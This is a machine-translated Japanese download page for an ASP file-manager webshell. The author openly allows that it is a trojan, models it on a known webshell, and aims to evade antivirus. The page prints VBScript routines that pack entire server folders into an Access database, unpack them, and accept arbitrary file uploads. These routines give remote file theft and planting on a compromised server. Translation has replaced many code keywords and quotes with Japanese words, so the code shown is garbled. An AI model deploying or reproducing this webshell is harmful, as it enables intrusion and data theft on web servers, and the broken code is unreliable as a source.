ホーム>ASPソースコード>ファイルデータ
リソースがありません
これは、FSO コレクション オブジェクトを使用して作成された FSO ファイル ブラウザです (これがトロイの木馬であると主張するのであれば、私は異論はありません)。機能的には、「Top Trojan of the Ocean」の設計を模倣していますが、コードは完全に書き直されています。 . ウイルス対策ソフトウェアによる偶発的な強制終了を引き起こしやすい Shell.Application などのコンポーネントを使用する。インターネット上には同様のツールが多数ありますが、このツールの利用価値はそれほど大きくありませんが、そのコードの多くはよく書かれていると考えられます。

主な機能は次のとおりです。

ディスク情報の表示、ディスク ファイルの参照、および作成、削除、名前変更、コピー、移動、その他の基本的なファイル操作などの Windows エクスプローラーと同様の操作を行います。
ストリーム モードのファイル ダウンロードは、コンポーネントを使用せずにアップロード ファイルのパッケージ化/解凍を簡素化し、最適化します。フォルダーを完全にパッケージ化/解凍できます。

コードスニペット:

1. ファイルのパッケージ化/解凍部分

  1. ============================ ファイルのパッケージ化と解凍のプロセス ================ = ============
  2. ファイルのパッケージ化
  3. サブパック( ByVal FPath、 ByVal sDbPath)
  4. Server.ScriptTimeOut=900
  5.     ディムDBPath
  6.      Right(sDbPath,4)= ".mdb"の場合 それから
  7. DbPath=sDbPath
  8.     それ以外
  9. DbPath=sDbPath ".mdb"
  10.     終わり もし
  12.      oFso.FolderExists(DbPath)の場合
  13. EchoBack "データベース ファイルを作成できません!" &Replace(DbPath, ""," \")
  14.         出口 サブ
  15.     終わり もし
  16.      oFso.FileExists(DbPath)の場合
  17. oFso.DeleteFile DbPath
  18.     終わり もし
  20.      IsFolder(FPath)の場合
  21. ルートパス=GetParentFolder(FPath)
  22.         右の場合(RootPath,1)<> "" then RootPath=RootPath&" "
  23.     それ以外
  24. EchoBack 「フォルダーのパスを入力してください!」
  25.         出口 サブ
  26.     終わり もし
  28.      Dim oCatalog、connStr、DataName
  29.      Set conn=Server.CreateObject( "ADODB.Connection" )
  30.      Set oStream=Server.CreateObject( "ADODB.Stream" )
  31.      Set oCatalog=Server.CreateObject( "ADOX.Catalog" )
  32.      Set rs=Server.CreateObject( "ADODB.RecordSet" )
  33.     の上 エラー 再開する 次
  34. connStr = "プロバイダ=Microsoft.Jet.OLEDB.4.0; データ ソース=" & DbPath
  35. oCatalog.connStr の作成
  36.     エラーの場合はその後
  37. EchoBack "データベース ファイルを作成できません!" &Replace(DbPath, ""," \")
  38.         出口 サブ
  39.     終わり もし
  40.      oCatalog=なしを設定します
  41. conn.Open connStr
  42. conn.Execute( "テーブル ファイルの作成(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)" )
  43. oStream.Open
  44. oStream.Type=1
  45. rs. 「ファイル」を開く、conn、3、3
  46. DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
  47. NoPackFiles=Replace(NoPackFiles, "<$datafile>" ,DataName)
  49. FailFileList= ""         パッケージ化に失敗したファイルのリスト
  50. PackFolderFPath
  51.      FailFilelist = ""の場合 それから
  52. EchoClose 「フォルダーのパッケージ化が成功しました!」
  53.     それ以外
  54. Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
  55. Response.Write "<Script Language= JavaScript >alert( フォルダーのパッケージ化が完了しました!n以下は、パッケージ化に失敗したファイルのリストです: );</Script>"
  56. Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
  57.     終わり もし
  58. oStream.Close
  59. rs.閉じる
  60. 接続閉じる
  61. 終わり サブ
  62. フォルダーを追加 (再帰的に)
  63. サブパックフォルダー(フォルダーパス)
  64.     もし  IsFolder(FolderPath)ではない場合 出口 サブ
  65.      Dim oFolder、sFile、sFolder
  66.      oFolder=oFso.GetFolder(FolderPath)を設定します
  67.     のために  oFolder.Files内の各sFile
  68.          If InStr(NoPackFiles, "|" &sFile.Name "|" )<1 then
  69. PackFile sFile.Path
  70.         終わり もし
  71.     次
  72.      sFile =なしを設定します
  73.     のために  oFolder.SubFolders内の各sFolder
  74. PackFolder sFolder.Path
  75.     次
  76.      sFolder=なしを設定します
  77. 終わり サブ
  78. ファイルを追加する
  79. サブパックファイル(ファイルパス)
  80.     ディムレルパス
  81. RelPath=Replace(ファイルパス,ルートパス, "" )
  82.      Response.Write RelPath & "<br>"
  83.     の上 エラー 再開する 次
  84. エラークリア
  85. エラー =偽
  86. oStream.LoadFromFile ファイルパス
  87. rs.AddNew
  88. rs( "ファイルパス" )=RelPath
  89. rs( "ファイルデータ" )=oStream.Read()
  90. rs.アップデート
  91.     エラーの場合はその後
  92.         ファイルのパッケージ化に失敗しました
  93. FailFilelist=FailFilelist&ファイルパス"|"
  94.     終わり もし
  95. 終わり サブ
  97. ================================================= =========================
  98. ファイルの解凍
  99. サブUnPack(vFolderPath,DbPath)
  100. Server.ScriptTimeOut=900
  101.      Dimファイルパス、フォルダーパス、sフォルダーパス
  102. フォルダーパス=vフォルダーパス
  103. フォルダーパス=トリム(フォルダーパス)
  104.      If Mid(FolderPath,2,1)<> ":"  それから
  105. EchoBack 「パスの形式が間違っているため、ディレクトリを作成できません!」
  106.         出口 サブ
  107.     終わり もし
  109.      Right(FolderPath,1)= ""の場合 次に、 FolderPath=Left(FolderPath,Len(FolderPath)-1)となります。
  110.      Dim connStr
  111.      Set conn=Server.CreateObject( "ADODB.Connection" )
  112.      Set oStream=Server.CreateObject( "ADODB.Stream" )
  113.      Set rs=Server.CreateObject( "ADODB.RecordSet" )
  114. connStr = "プロバイダ=Microsoft.Jet.OLEDB.4.0; データ ソース=" & DbPath
  115.     の上 エラー 再開する 次
  116. エラー =偽
  117. conn.Open connStr
  118.     エラーの場合はその後
  119. EchoBack 「データベースオープンエラー!」
  120.         出口 サブ
  121.     終わり もし
  122. エラー =偽
  123. oStream.Open
  124. oStream.Type=1
  125. rs. 「ファイル」を開く、conn、1、1
  126. 失敗ファイルリスト = ""         失敗したファイルリストをクリア
  127.     する  rs.EOFまで
  128. エラークリア
  129. エラー =偽
  130. ファイルパス=フォルダーパス""&rs("ファイルパス")
  131. FilePath=Replace(ファイルパス, "\"," ")
  132. sFolderPath=Left(ファイルパス,InStrRev(ファイルパス, "" ))
  133.         もし  oFso.FolderExists(sFolderPath)ではない場合
  134. CreateFolder(sFolderPath)
  135.         終わり もし
  136. oStream.SetEos()
  137. oStream.Write rs( "FileData" )
  138. oStream.SaveToFile ファイルパス、2
  140.         エラーの場合はその後        失敗したファイル項目を追加する
  141. FailFilelist=FailFilelist&rs( "FilePath" ).Value "|"
  142.         終わり もし
  144. rs.次へ移動
  145.     ループ
  146. rs.閉じる
  147.      rs =何も設定しない
  148. 接続閉じる
  149.      conn=なしを設定します
  150.      oStream =なしを設定します
  151.      FailFilelist = ""の場合 それから
  152. EchoClose 「ファイルの解凍に成功しました!」
  153.     それ以外
  154. Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
  155. Response.Write "<Script Language= JavaScript >alert(フォルダーのパッケージ化が完了しました!n以下はパッケージ化に失敗したファイルのリストです。確認してください);</Script>"
  156. Response.Write "<body>" &Replace(FailFilelist, "|" , "<br>" ) "</body>"
  157.     終わり もし
  158. 終わり サブ
  159. ================================================= =========================

2. ファイルアップロード部分 (単一ファイル):

  1. アップロードされたファイルを保存します
  2. Sub Saveupload ( ByVal FolderName)
  3.     もし  Not IsFolder(FolderName) then
  4. EchoClose 「アップロード フォルダーが指定されていません!」
  5.         出口 サブ
  6.     終わり もし
  7.     ディムパス、IsOverWrite
  8. パス=フォルダー名
  9.      If Right(Path,1)<> "" then Path=Path&" "
  10. FileName=Replace(Request( "filename" ), ""," ")
  11.      If Len(FileName)<1 then
  12. EchoBack 「ファイルを選択してファイル名を入力してください!」
  13.         出口 サブ
  14.     終わり 
  15. パス=パス
  16. の場合
  17.      LCase(Request( "上書き" ))= "true"の場合 次に
  18. IsOverWrite= True
  19.     それ以外の場合は
  20. IsOverWrite= False
  21.     終わり もし
  22.     の上 エラー 再開する 次
  23.      MyUpload(Path,IsOverWrite)を呼び出す
  24.      If Err then
  25. EchoBack 「ファイルのアップロードに失敗しました! (ファイルはすでに存在する可能性があります)」
  26.      Else
  27. EchoClose "ファイルは正常にアップロードされました!n" & Replace(fileName, "", " \")
  28.     終わり 
  29. 終了の
  30. 場合
  31.  サブ
  32. ファイルアップロードコアコード
  33. Sub MyUpload(FilePath,IsOverWrite)
  34.      Dim oStream,tStream,FileName,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
  35. RequestSize=Request.TotalBytes
  36.      RequestSize<1の場合 出口 サブ
  37.      Set oStream=Server.CreateObject( "ADODB.Stream" )
  38.      Set tStream=Server.CreateObject( "ADODB.Stream" )
  39.      oStreamの場合
  40. .Type=1
  41. .Mode=3
  42. .Open
  43. .Write=Request.BinaryRead(RequestSize)
  44. .Position=0
  45. sData=.Read
  46. bCrLf=ChrB(13)&ChrB(10)
  47. iSpaceEnd=InStrB(sData,bCrLf)-1
  48. sSpace =LeftB(sData,iSpaceEnd)
  49. iInfoStart=iSpaceEnd+3
  50. iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
  51. iFileStart=iInfoEnd+5
  52. iFileEnd=InStrB(iFileStart,sData,sSpace)-3
  53. sData= ""     ファイル データのクリア
  54. iFileSize=iFileEnd-iFileStart+1
  55. tStream.Type=1
  56. tStream.Mode=3
  57. tStream.Open
  58. .Position=iFileStart-1
  59. .CopyTo tStream,iFileSize
  60.          IsOverWriteの場合、
  61. tStream.SaveToFile FilePath,2
  62.          Else
  63. tStream.SaveToFile ファイルパス
  64.         終わり 
  65. tStream.Close
  66. .Close
  67. の場合
  68.     終わり と
  69.      SettStream =なし
  70.      oStream=何も設定しないで
  71. 終了 サブ

 
拡大する
追加情報
関連アプリ
おすすめ
関連情報 すべて